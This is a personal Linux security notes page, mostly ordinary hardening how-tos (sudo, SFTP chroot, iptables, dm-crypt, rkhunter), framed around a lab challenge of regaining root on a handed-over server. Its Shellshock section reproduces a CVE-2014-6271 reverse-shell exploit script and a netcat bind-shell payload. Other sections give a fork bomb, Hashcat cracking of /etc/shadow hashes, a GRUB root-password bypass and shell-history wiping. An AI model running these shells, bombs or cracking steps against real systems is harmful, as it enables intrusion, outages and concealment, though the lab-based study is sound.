Linux security - Security & privacy of a Linux box

The BRA challenge

The concept

Suppose you have to install a GNU/Linux server for your team. You are given an ISO image, the machine itself (a VM, actually) and some initial settings to apply (packages to install, system / network settings, accounts to create including one for yourself as a non-privileged user, ...). During the setup process, you'll be root on this machine, but the very 1st thing the admin (not yourself, let's call him Joe) will do upon receiving this server is to change the root password. So everything you'll have left is your own non-privileged account (we also consider all the other non-root users have changed their password).

Given this scenario, what would you do if you wanted to Become Root Again on this machine ?

You can even consider this whole challenge from Joe's point of view :

  • you receive a GNU/Linux server setup by someone else
  • this person has a local non-root user account on the server
  • you are root on the server
How would you make sure there is not some kind of trojan ?

  • The very purpose of this is to challenge (and hopefully increase) my skills VS the security of the GNU/Linux operating system. Learning "how it works" and "how to harden things" is the overall target.
  • This is not intended as a tutorial to hack other people's GNU/Linux machines : I'll be playing on a VM running on my own workstation.
  • Material you'll read here may not abide by your local laws : know what you type and use at your own risks.

The rules

  • Joe is neither a total n00b nor a paranoid security specialist : he has some computing and GNU/Linux skills (otherwise, this challenge would be too easy / to hard, respectively ).
  • Joe may / may not use security software / auditing tools / personal scripts / ..., upon delivery of the server or on a regular basis
  • the implemented method(s) :
    • must be as stealth as possible
    • must not put the whole system at risk : opening a giant security hole (like anything resulting in a passwordless root account) is not acceptable
  • there's no special limitation in the tools / methods used to reach your goal
  • starting this challenge by googling "how to hack linux" is cheating . Of course, further steps will imply searching and reading docs.

How to install Debian security upgrades automatically ?

All actions below are performed as root.

Install software :

Configure unattended-upgrades :

Edit /etc/apt/apt.conf.d/50unattended-upgrades :
  1. Define which packages will be upgraded. The defaults are fine : only Debian-security upgrades are applied :
    Unattended-Upgrade::Origins-Pattern {
    	// Codename based matching:
    	// This will follow the migration of a release through different
    	// archives (e.g. from testing to stable and later oldstable).
    //	"o=Debian,n=jessie";
    //	"o=Debian,n=jessie-updates";
    //	"o=Debian,n=jessie-proposed-updates";
    //	"o=Debian,n=jessie,l=Debian-Security";
    
    	// Archive or Suite based matching:
    	// Note that this will silently match a different release after
    	// migration to the specified archive (e.g. testing becomes the
    	// new stable).
    //	"o=Debian,a=stable";
    //	"o=Debian,a=stable-updates";
    //	"o=Debian,a=proposed-updates";
    	"origin=Debian,codename=${distro_codename},label=Debian-Security";		all lines but this one are commented
    };
  2. Split the upgrade into the smallest possible chunks so that they can be interrupted with SIGUSR1. This makes the upgrade a bit slower but it has the benefit that shutdown while a upgrade is running is possible (with a small delay)
    Unattended-Upgrade::MinimalSteps "true";
  3. Enable sending emails to this address. Just uncomment the line :
    Unattended-Upgrade::Mail "root";
Enable unattended-upgrades :
2 methods to do so :
  • cat << EOF > /etc/apt/apt.conf.d/20auto-upgrades
    APT::Periodic::Update-Package-Lists "1";
    APT::Periodic::Unattended-Upgrade "1";
    EOF
  • or : dpkg-reconfigure -plow unattended-upgrades

Configure apt-listchanges :

If you've configured a _real_ email address above, add it into /etc/apt/listchanges.conf :
[apt]

email_address=you@example.com

See what happened (details) :

cat /var/log/unattended-upgrades/unattended-upgrades.log

Detect modified files in a directory tree

Computing + comparing hashes :

  1. Compute the MD5 hash of every file you want to monitor :
    searchDirectory=/path/to/some/directory; md5File=/path/to/md5.local; >$md5File; find $searchDirectory -type f -exec md5sum {} \; >> $md5File
  2. Later, to make sure no file has been altered :
    md5sum -c /path/to/md5.local | grep "FAILED"

If you're suspecting malicious modifications, make sure /path/to/md5.local won't be altered as well :

  • move it outside of the monitored host (removable media, send it by mail, ...)
  • store it on a crypted volume
  • make it unchangeable (even by root, unless he knows chattr) :
    chattr +i /path/to/md5.local
Otherwise all of this becomes useless.

Using Git :

Git is great at detecting changes in files !
  1. Create a new repository at the root of the directory tree containing files to monitor :
    git init
  2. Register all the files you want to monitor :
    git add file1 file2 fileN
  3. Save this as the "Known good state" :
    git commit -m 'All files are OK'
  4. Later, to make sure no file has been altered :
    git status
    should report nothing. Otherwise, with Git commands, you'll be able to :
    • view modifications of each altered file : git diff alteredFile
    • accept changes (with a new commit)
    • restore each file in its initial state (checkout)

Depending on its configuration, Git may not report differences regarding space and TAB characters.

How to login as root via sudo only ?

On modern (decent !) Linux distributions, you can not log in as root anymore. Instead, users can be allowed to get elevated privileges with sudo. This is a good thing : To do so :
  1. Open a terminal as root (in the CTRL-ALT-Fn screens) just in case something goes wrong in the process. Leave it as is, and continue the procedure in another terminal.
  2. Become a sudoer. This implies adding
    bob	ALL=(root)	/bin/su
    to /etc/sudoers.d/bob.
  3. Try it, as bob :
    sudo su -
    After typing your password, you should have become root.
  4. Now, as root, disable the root password : passwd -l root
  5. Check this with : grep root /etc/shadow
    root:!$6$fRTcws15$d7doaLc.WNnUK/4l4mHTnA......
    Read more about ! and * in the password field of /etc/shadow
  6. Try opening a shell as root, it should fail now.
  7. Enjoy

rkhunter

Usage :

rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdoors and possible local exploits.

Flags :

Flag Usage
-c --check Perform checks on the local system. Results are written to stdout and to /var/log/rkhunter.log.
--update download updated versions of text data files (if available) with wget or lynx. This command has unusual return codes :
  • 0 : no update available
  • 1 : download failed
  • 2 : download succeeded
--propupd rkhunter detects altered files by computing their checksum and comparing it to a stored version of this previously computed checksum. If both match: "everything is going extremely well"; otherwise, there _may_ be a problem.
This command flag is used to manually update the catalog of stored checksums.

The catalog checksums are a reference of a clean state. If an altered file is recorded this way, no future check will be able to report it.

Files can also be genuinely altered by system updates and trigger warnings. To workaround this, edit /etc/rkhunter.conf and set values (source) :
  • PKGMGR=DPGK : obtain file hashes from the specified package manager (dpkg on Debianoids)
  • HASH_FUNC=md5sum : dpkg computes file hashes with md5sum, so let's ask rkhunter to do so.

After updating these values, you MUST rebuild the catalog with rkhunter --propupd

Example :

Some entries found in /var/log/rkhunter.log :

The log file may have entries such as :
[09:34:18]	/usr/bin/unhide.rb				[ Warning ]
[09:34:18]	Warning: The command '/usr/bin/unhide.rb' has been replaced by a script: /usr/bin/unhide.rb: Ruby script, ASCII text
and :
[09:37:49]	Checking for hidden files and directories	[ Warning ]
[09:37:49]	Warning: Hidden directory found: /etc/.java

As for /usr/bin/unhide.rb: this is because rkhunter interprets finding a script or symlink while expecting a binary as a sign of compromise. rkhunter was designed on Red Hatoids, where such things are rather uncommon, whereas they are frequent on Debianoids. (source)

It's the same explanation for /etc/.java: not expected on Red Hatoids, but placed there on Debianoids. (source)

/sbin/nologin vs /bin/false

/sbin/nologin (on Red Hatoids), /usr/sbin/nologin (on Debianoids)
when a user with that shell logs in, they'll get a polite message saying This account is currently not available.. This message can be changed in /etc/nologin.txt.
/bin/false
false is just a binary that immediately exits returning false. So when someone who has /bin/false as shell logs in, they're immediately logged out when false exits.
Setting the shell to /bin/true has the same affect of not allowing anyone to log in, but false is probably used as a convention over true since it's much better at conveying the concept that that person doesn't have a shell.
  • Some FTP servers will let you in only if you have a valid shell. /sbin/nologin is regarded as a valid shell, whereas /bin/false is not.
  • If bob is given either /sbin/nologin or /bin/false as login shell, commands like these will fail :
Security-wise, there is no difference: /sbin/nologin is just the friendly polite version.

How to auto-logout a user after a while of inactivity ?

Define a timeout after which a user will be disconnected (source) :

Manually :
  • For Bash, ksh or zsh : export TMOUT=seconds
  • For other shells, setting this variable may be done with a different command, or a different time unit (minutes instead of seconds)
Automatically :
for all users (including root) :
Add into /etc/profile :
TMOUT=seconds
for Bob only :
Add into /home/bob/.bashrc :
TMOUT=seconds

These settings will be enabled only after the next login of the affected user(s).

What users will see when automatically disconnected :
timed out waiting for input: auto-logout
Connection to 12.34.56.78 closed.

To disable this timeout (source) :

  • export TMOUT=0
  • or : unset TMOUT

How to chroot SFTP users with OpenSSH in Debian ?

Situation :

I'd like to create a restricted SFTP account for Bob, in which Bob :

Solution :

Setup users and groups :

  1. Create the sftpUsers group : groupadd sftpUsers
  2. Create the user account : useradd -d /var/data/sftp/ -g sftpUsers -s /bin/false bob
  3. Don't forget to : passwd bob
/etc/passwd should look like : bob:x:1002:1000::/sftp/upload:/bin/false

Configure SSH :

  1. Edit /etc/ssh/sshd_config : find the line starting with Subsystem sftp and change it into Subsystem sftp internal-sftp (Subsystem sftp internal-sftp /usr/lib/openssh/sftp-server ==> ???)
  2. Then, in the same file, add a rule to match users :
    Match Group sftpUsers
    	PasswordAuthentication yes
    	ChrootDirectory /var/data/sftp/
    	AllowTCPForwarding no
    	X11Forwarding no
    	ForceCommand internal-sftp
  3. Restart OpenSSH : /etc/init.d/ssh restart

Configure the filesystem :

Here is the hack that makes the whole thing work : Bob may be able to read/write the directory that is just below the chrooted dir. The directory tree becomes :

/
var 755, root:root
data 755, root:root
sftp 755, root:root
upload 775, root:sftpUsers

Errors :

Bad ownership ... (source):
If /var/log/auth.log reports fatal: bad ownership or modes for chroot directory component "/var/data/sftp/", it's basically a matter of chmod 755 along the chrooted path.
At upload time : open for write: permission denied
The chroot dir is a jail a user may read, but not write. If write permissions are granted to users on the chroot dir, OpenSSH regards it as insecure and denies connection.

The Diffie-Hellman key exchange

The Diffie-Hellman key exchange method :

Diffie-Hellman in SSL / TLS :

It is used in 3 versions (source) :
  • Anonymous Diffie-Hellman (DH_anon, ADH, ...) : Because the keys used in the exchange are not authenticated, the protocol is susceptible to Man-in-the-Middle attacks. You should not use this one. You can prohibit its use in your code by using !ADH in your call to SSL_set_cipher_list.
  • Fixed Diffie-Hellman : embeds the server's public parameter in the certificate, and the CA then signs the certificate. That is, the certificate contains the Diffie-Hellman public-key parameters, and those parameters never change.
  • Ephemeral Diffie-Hellman (DHE) : Each instance or run of the protocol uses a different public key. Because the public keys are temporary, a compromise of the server's long term signing key does not jeopardize the privacy of past sessions. This is known as Perfect Forward Secrecy. You should always use this one because it provides PFS. You can specify ephemeral methods by providing kEECDH:kEDH in your call to SSL_set_cipher_list.

Proof-of-concept of the Shellshock bug

Am I vulnerable ?

Run this and you'll know : env x='() { :;}; echo "You are VULNERABLE."' bash -c "echo 'Dont panic : this is a test'"

If it displays :

You are VULNERABLE.
Dont panic : this is a test
You're running a vulnerable version of Bash. This is fine if you plan to test the hack below. Otherwise, update your system now !

If it displays :

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
Dont panic : this is a test
It seems you applied the first update, which makes things better, but you may still be vulnerable. The hack below won't work. Please update Bash.

If it displays :

Dont panic : this is a test
You are up-to-date and safe.

Become vulnerable again :

DO THIS ONLY IN A TESTING ENVIRONMENT !!!

If you're already running a fixed version, you'll have to downgrade Bash to a vulnerable version :
  1. Get the current version : dpkg -l bash says 4.2+dfsg-0.1+deb7u1
  2. Find any previous version : grep bash /var/log/dpkg.log | grep -v completion | head shows the version 4.2+dfsg-0.1
  3. Let's try it : apt-get install bash=4.2+dfsg-0.1 This will warn you about downgrading a package. Ignore it and continue.
  4. Make sure now you're vulnerable

Let's experiment things :

This experience was inspired by this code :

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib, urllib, sys

if (len(sys.argv) < 4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell = "() { ignored; }; /bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = { "Content-type": "application/x-www-form-urlencoded", "test": reverse_shell }
conn.request("GET", sys.argv[2], headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
  1. create a new virtual machine to play with
  2. Install some software : apt install apache2 emacs23-nox
  3. Create an alias NOW before going crazy : alias ll='ls -lh'
  4. Create a new documentRoot : mkdir -p /var/www/testCgi
  5. Disable default virtualhosts : a2dissite 000-default
  6. Create the file /etc/apache2/sites-available/testCgi.conf :
    <VirtualHost *:80>
    	ServerName testCgi
    	ScriptAlias / /var/www/testCgi/
    	DocumentRoot /var/www/testCgi
    	<Directory /var/www/testCgi>
    		Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    		AllowOverride None
    		Order allow,deny
    		allow from all
    	</Directory>
    
    	ErrorLog ${APACHE_LOG_DIR}/error.log
    	LogLevel warn
    </VirtualHost>
  7. Create the file /var/www/testCgi/script.sh :
    #!/usr/bin/env bash
    echo 'Content-type: text/plain'
    echo
    echo 'Hello world.'
  8. Make this script executable : chmod a+x /var/www/testCgi/script.sh
  9. Stop Apache from complaining about its missing host/domain name : echo "ServerName testCgi" > /etc/apache2/conf.d/fqdn
  10. Enable the new virtualhost : a2ensite testCgi.conf
  11. Restart Apache : apache2ctl restart
  12. Get the IP address of your web server : ip a
  13. From another host, test your web server : wget -S -O - --header="Host: testCgi" http://192.168.1.35/script.sh. The output should comply with script.sh : right Content-type, right message.
  14. Good ! So far, what we've done was just creating our playground. Time to play !
    As seen in the exploit code above, the idea is to send a GET request to our CGI script, while passing it an argument as an additional HTTP header. The payload of this header is the malicious code. Let's do this with wget, our payload being a Netcat command to open a remote shell :
    payload='() { :;};/bin/nc -l -p 8888 -v -e /bin/bash'; wget -S -O - --header="Host: testCgi" --header="Content-type: application/x-www-form-urlencoded" --header="test: $payload" http://192.168.1.35/script.sh
    After launching this command from our attacking host, the shell may look stalled :
    --2014-09-25 23:53:09--	http://192.168.1.35/script.sh
    Connecting to 192.168.1.35:80...connected.
    HTTP request sent, awaiting response...
    Actually, this shows our attack worked : the remote CGI script has spawned a new Bash shell, which has itself started a listening Netcat instance via the "Shellshock" bug.
  15. On the attacking host, open a new terminal, and connect to our listening Netcat : nc 192.168.1.35 8888 :
    • whoami returns : www-data
    • hostname returns the REAL hostname of my testing machine : I'm in !!!

How to limit the rate of incoming connections with iptables ?

This method is a good alternative to fail2ban : iptables is fast, kernel level, memory efficient, and doesn't require daemons that go bananas and kill your CPU (source).

There is a hack to increase security of applications that need not being open on the Internet : configure them to listen on the 127.0.0.1 interface, then connect to them via an SSH tunnel.

Create rules (sources : 1, 2) :

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 3 -j DROP
This will DROP an incoming connection if :
  • The IP address which initiated the connection has previously been added to the list
  • AND the IP address has sent a packet in the past 60 seconds
  • AND the IP address has sent more than 3 packets in total

Test rules

Depending on the port / protocol :
  • for HTTP :
    for i in {1..5}; do echo 'GET' | nc localhost 80; done
    echo 'GET' | nc localhost 80 is a hack to send HTTP requests. Other methods (like wget or curl) should work too.
  • for SSH :
    for i in {1..5}; do nc -vz localhost 22; done
Whatever method is used, this should work 3 times, then fail (timeout) on following attempts.

Make them reboot-proof (source, alternate solution) :

  1. apt install iptables-persistent
  2. save existing rules to file : iptables-save > /etc/iptables/rules.v4
  3. reload rules from file : iptables-restore < /etc/iptables/rules.v4

To update rules, do not try to edit /etc/iptables/rules.v4. Instead, just edit rules from the shell, then save them.

How to hide processes to other users ?

ps and top return detailed information about processes, including their full command line. Some commands (such as MySQL commands) may disclose clear-text passwords. It is possible to fix this on systems with a kernel version >= 3.2 by mounting the /proc filesystem with the new hidepid option :
hidepid value Usage
0 default behavior : users can see others' processes
1 ps and top only return user's own processes. But it is still possible to see others' processes while browsing /proc/ subdirectories.
2 ps and top only return user's own processes. It is not possible anymore to wander in /proc/ subdirectories.

Of course, root still sees all processes.

Hide processes (not reboot-proof) :

mount -o remount /proc -o hidepid=2

Hide processes (reboot-proof) :

Edit /etc/fstab so that you have something like :
proc	/proc	proc	defaults,hidepid=2	0	0

Recover passwords with Hashcat

Usage :

Hashcat is an advanced "password recovery" tool, such as John the Ripper. Both seem to be equally powerful, as they do not completely compete on the same level. Hashcat comes in 2 flavors :

Attack modes

  • Bruteforce : try all characters from a to zzzzzzzzz
  • Wordlist : search passwords from a list of words
  • Rules : modify/combine words from the word lists and search for the password

Setup

  1. Download the latest version
  2. Unpack the downloaded archive. The binary to use on a 64bit CPU running Linux is hashcat-cli64.bin
  3. For convenience : ln -s hashcat-cli64.bin h4
  4. Download a dictionary / wordlist (sources : 1, 2, )

Flags :

CLI options
Flag Usage
-a n
--attack-mode=n
Specify the attack-mode from :
  • 0 : Straight – (Default) Simply runs all words in a dictionary against your hashlist. Having a good dictionary here will improve your chances of successfully recovering a hash.
  • 1 : Combination – Combines words from the given dictionary. Modes 0 and 1 are also the only modes to accept the switches –r or –g.
  • 2 : Toggle-Case – Flips all capitals to lowercase, and all lowercase to uppercase. Digits and special characters are ignored as they do not have a case.
  • 3 : Brute-Force – BF should be used as a last resort as it is not effective against long passwords, and can be quite time consuming.
  • 4 : Permutation – Takes letters from a word, and re-arranges them. Example: abc becomes abc, acb, bac, bca, cab, cba.
  • 5 : Table-Lookup – Breaks a string into individual characters and applies a rule to each one matching a table entry.
-m n --hash-type=n Specify the hash type. See list

Example :

Run a dictionary attack on GNU/Linux user account passwords from hashes (/etc/shadow) :

./h4 -m 1800 fileContainingHashes dictionaryFile

Run a "bruteforce masked" attack on GNU/Linux user account passwords from hashes :

A mask is an indication on the password format (length, alphabet, position of upper/lower case letters if any) to reduce the number of keys to test. A mask would be ?l?l?l?l?l?l for a 6-lowercase-letter word (/etc/shadow) (mask syntax).

./h4 -a 3 -m 1800 fileContainingHashes [mask]

Mind your mask specification, or this will last forever !

Run a "bruteforce masked" attack on MySQL user account passwords from hashes :

Leave the leading * from MySQL hashes.
Searching for a 5-character long password using [a-zA-Z0-9] chars, the command would be :
./h4 -a 3 -m 300 fileContainingHashes -1 ?l?u?d ?1?1?1?1?1
This command will try only 5 characters combinations, so if the password is only 4 characters long, it won't be found. There is a --increment parameter which is designed to repeat the mask between minLength and maxLength times, but it seems it's been deprecated (or it's applied automatically in newer versions of HashCat ?). Its behavior can be simulated with Bash and Perl :
hashFile='fileContainingHashes'; minLength=1; maxLength=4; mask='?1'; for length in $(seq $minLength $maxLength); do computedMask=$(perl -E "say '$mask' x "$length); echo "$length : $computedMask"; ./h4 -a 3 -m 300 $hashFile -1 ?l?u?d $computedMask; done

Mind your mask specification, or this will last forever !

Recover the root password

Using GRUB, you can manually edit the proposed menu entry at boot time (source) :
  1. press ESC so that GRUB shows the menu list
  2. use the arrows to select the boot entry you want to modify
  3. press e to edit the entry
  4. use the arrows to go to kernel line
  5. press e to edit this entry
  6. at the end of the line add init=/bin/bash
  7. press ESC to go back to the parent menu
  8. press b to boot this kernel
  9. once finished booting Linux you will have a root-level shell and you can use passwd
Seems this method is now obsolete. Let's try another one (source) :
  1. press ESC so that GRUB shows the menu list
  2. use the arrows to select the boot entry you want to modify (the default one is usually fine)
  3. press e to edit the entry
  4. use the arrows to go to the linux /boot/vmlinuz-... line
  5. replace the ro quiet or ro single with rw init=/bin/bash
  6. press F10 to finish editing and boot
  7. once finished booting, you will have a root-level shell. Trying passwd now will fail on passwd: Authentication token manipulation error because / is mounted in ro-mode. Remount / in rw mode (source) : mount -rw -o remount /
  8. then : passwd

How to setup and use a dm_crypt encrypted volume ?

Preliminary

To proceed, you'll need an empty storage device to play with. This can be :

Setup

  1. install cryptsetup
  2. initialize the /dev/sdc1 partition by defining the encryption method and the key :
    • (obsolete?) cryptsetup luksFormat -c aes -h sha256 /dev/sdc1
    • (updated) cryptsetup --cipher aes-xts-plain64 --key-size 512 --hash sha512 luksFormat /dev/sdc1
  3. you can now open your vault and give it an alias : cryptsetup luksOpen /dev/sdc1 barracuda
  4. at that point, you should see a /dev/mapper/barracuda block device
  5. let's now format it : mkfs.ext4 /dev/mapper/barracuda
  6. [do anything you want now]
  7. don't forget to close your vault once done : cryptsetup luksClose barracuda

Usage :

Commands below must be run as root.

mount :

  1. open the vault : cryptsetup luksOpen /dev/sdc1 barracuda
  2. This should prompt for the volume password. If it doesn't, this may be because you're not dealing with a crypted volume
  3. mount the volume : mount /dev/mapper/barracuda /mount/point

unmount :

  1. unmount the volume : umount /mount/point
  2. close the vault : cryptsetup luksClose barracuda

various "utilities" :

LUKS volumes have a metadata header, which offer more features than plain dm-crypt. On the other hand, the header is visible and vulnerable to damage (in which case, data is lost unless you have a backup of the header).
Backup the LUKS volume header :
cryptsetup luksHeaderBackup --header-backup-file /path/to/header/backup/file /dev/sdc1
You MUST make a new backup of the header after changing any of the volume passphrases
Make sure the header you're about to restore fits the right volume :
cryptsetup -v --header /path/to/header/backup/file open /dev/sdc1 test
Key slot 0 unlocked.
Command successful.
Restore the header of a closed LUKS volume :
cryptsetup luksHeaderRestore /dev/sdc1 --header-backup-file /path/to/header/backup/file
Manage passphrases :
  • cryptsetup luksAddKey /dev/sdc1
  • cryptsetup luksRemoveKey /dev/sdc1

Example :

Is the vault open or not ?

Opening the vault creates a new entry in /dev/mapper/ :
ll /dev/mapper/barracuda

How to mount a crypted volume as a non-root user ?

  1. Grant sudo privileges to Bob on the /sbin/cryptsetup binary
  2. Declare the volume in /etc/fstab :
    /dev/mapper/barracuda	/mount/point	ext4	noauto,user	0	0
  3. Create /mount/point and mount the volume as root the 1st time.
  4. As root :
    chown bob: /mount/point && umount /mount/point
  5. As bob :
    mount /mount/point

    mount /dev/mapper/barracuda /mount/point
    will result in :
    mount: only root can do that

  6. Enjoy !

Mount a crypted volume at boot time (source) :

  1. load the dm_crypt kernel module : echo dm_crypt >> /etc/modules
  2. Make its mount point : mkdir /mnt/secure
  3. Detect the encrypted volume and decrypt it as a "readable" volume at boot time (equivalent to cryptsetup luksOpen /dev/sda4 secure). This is done by declaring it in /etc/crypttab :
    # <target name>	<source device>	<key file>	<options>
    secure		/dev/sda4	none		luks,timeout=10
  4. Declare the "readable" volume into /etc/fstab with a line such as :
    /dev/mapper/secure		/mnt/secure		ext4		noauto,defaults		0		0
  5. Don't forget to make the volume accessible to userName (once it's mounted): chown userName:groupName /mnt/secure
  6. The secret passphrase will be prompted at boot time. Upon 5 failures (or ), the boot process will continue without mounting the crypted volume.

Use on another computer (and forgot to backup keys ) : create a new key :

  1. you may have to modprobe dm_crypt before going further (the module used to be dm-crypt)
  2. cryptsetup luksAddKey /dev/sdb1
  3. follow the on-screen instructions, then mount/unmount as usual (source)

Trying to open the vault (cryptsetup luksOpen ) outputs : Can not access device

This may happen when the vault is already open by another application, like Gnome, with its "automount devices" feature. In such case, the volume may already be available as /dev/mapper/luks_crypto_e3cf020a-adb5-440e-888c-10666ebbd203.

Shell fork bomb

Such bombs work by exhausting the process table so that there is no available PID anymore, making it impossible to start any new process.

:(){ :|:& };:

:(){ :|:& };:
:()		define a function named :
   {		beginning of function block
     :		execute the : function ...
      |		... and pipe its output to ...
       :	... another copy of the : function (i.e. running the : function spawns itself twice, causing a chain-reaction)
        & 	turn the function into a background process, so that it survives the death of its parent
          }	end of function block
           ;	end of definition
            :	execute the : function. The chain-reaction begins.

ACL

ACL support is built in the kernel since the early 2.6 versions and works with the EXTn filesystems (and many others). ACL are based on file extended attributes (= metadata attached to the files). There are 3 flavors of ACL : Files having Extended ACL are displayed with an additional + by ls (source) :
-rw-r--r--+	1 program users	343 2005-02-07 16:53 LISEZ-MOI

Read an ACL

getfacl fileOrFolder

[programm@ssh1 13:04:43] ~$ getfacl LISEZ-MOI
# file: LISEZ-MOI
# owner: program
# group: users
user::rw-
group::r--
mask::rwx
other::r--

modify an ACL : grant user rights

setfacl -m u:bob:rw- file

How to prevent Bash from recording history ?

Unsetting the history file :

Upon Bash process termination, all typed commands are written into an history file. The name of this file (usually ~/.bash_history) is stored in the HISTFILE environment variable, and can be retrieved with : echo $HISTFILE

If Bash has nowhere to write data, the history of the current session will be lost : unset HISTFILE

You may also consider exporting the tampered HISTFILE.

Leave silently :
unset HISTFILE; exit
Clear existing history :
  • Just delete the history file : rm $HISTFILE
  • or : history -c

Alternate method : prevent just one command from being saved in the history (source 1, 2, See also) :

  1. Make sure at least one of the files listed below has the ignorespace option for the HISTCONTROL directive (details) :
    grep -E 'HISTCONTROL.*ignorespace' ~/.bashrc ~/.bash_profile /etc/bash.bashrc
    HISTCONTROL=ignoredups:ignorespace
  2. Add the missing option into ~/.bashrc
  3. . ~/.bashrc
  4. Now, commands prefixed with a space character won't be recorded in the history : SPACEanyCommand

Privacy of the /home directory

Directories recording history

~ home, sweet home !
.adobe
Flash_Player Flash cookies (remove)
.lesshst History of the search commands within less (remove)
.local
share
zeitgeist
activity.sqlite SQLite database activity log used by Zeitgeist daemon (details, remove)
.macromedia Flash cookies (remove)
.recently-used.xbel used by GTK+-based software to record recent files (details, remove)
.thumbnails Nautilus thumbnails (remove)

Remove and disable less search history file (source : man less) :

  1. rm ~/.lesshst
  2. Add to ~/.bashrc : export LESSHISTFILE="/dev/null"
  3. . ~/.bashrc

Flash cookies

These cookies are *sol files. To get rid of them :
  • cleaning mode : find ~/.macromedia -iname '*.sol' -exec rm {} \; It might also be useful to remove directories named after the visited websites.
  • chlorinating mode : same as above + chmod 500 ~/.macromedia
  • paranoid mode :
    • same as above + chattr +i ~/.macromedia as root
    • OR : delete ~/.macromedia, then ln -s /dev/null ~/.macromedia
See also :

Remove spy files

  • method 1 :
    1. rm ~/.recently-used.xbel
    2. ln -s /dev/null ~/.recently-used.xbel
  • method 2 :
    1. > ~/.recently-used.xbel
    2. chattr +i ~/.recently-used.xbel

Zeitgeist

  • method 1 : resets log, but logging continues : (source)
    1. rm ~/.local/share/zeitgeist/activity.sqlite
    2. zeitgeist-daemon --replace
  • method 2 : just send information to a black hole.

Remove Nautilus thumbnails

Delete anything that hasn't been accessed to in the latest 7 days :
find ~/.thumbnails -type f -atime +7 -exec rm {} \;

How to become a sudoer ?

The bare minimum of sudoing : let Bob become a sudoer, while using local authentication :

This is potentially granting too many rights !

As root :
  1. Make Bob a member of the sudo group : adduser bob sudo
  2. touch /etc/sudoers.d/bob
    At this step, Bob can already run sudo commands since :
    • he belongs to the sudo group
    • and thanks to this directive in /etc/sudoers :
      # Allow members of group sudo to execute any command
      %sudo	ALL=(ALL:ALL)	ALL
      The %whatever syntax refers to the whatever group (source).
  3. Edit it with your favorite text editor :
    bob	ALL=(root)	NOPASSWD:/usr/sbin/service
    • There must be a LF after the last directive, otherwise trying to use these new permissions will fail :
      >>> /etc/sudoers.d/bob: syntax error near line 1 <<<
      sudo: parse error in /etc/sudoers.d/bob near line 1
      sudo: no valid sudoers sources found, quitting
      sudo: unable to initialize policy plugin
    • Both [space] and [TAB] indentation are supported
  4. Save, exit, then chmod 440 /etc/sudoers.d/bob

Notes about sudo passwords (source) :

When launching a sudo command, sudo prompts for the user password. If the password is correct AND if the command is allowed, sudo remembers the elevated permission for 15 minutes into a dedicated cache. Otherwise (incorrect password OR forbidden command), nothing is cached.
The next time a sudo command is launched, the permission is checked from the cache, if available.
To purge the cache : sudo -k

Using LDAP authentication

Contents of /etc/sudoers :
bob ALL=(ALL) ALL
becomes (literally) :
sudoUser sudoHost=(sudoRunAs) sudoCommand sudoOption
in the LDAP rules. (details)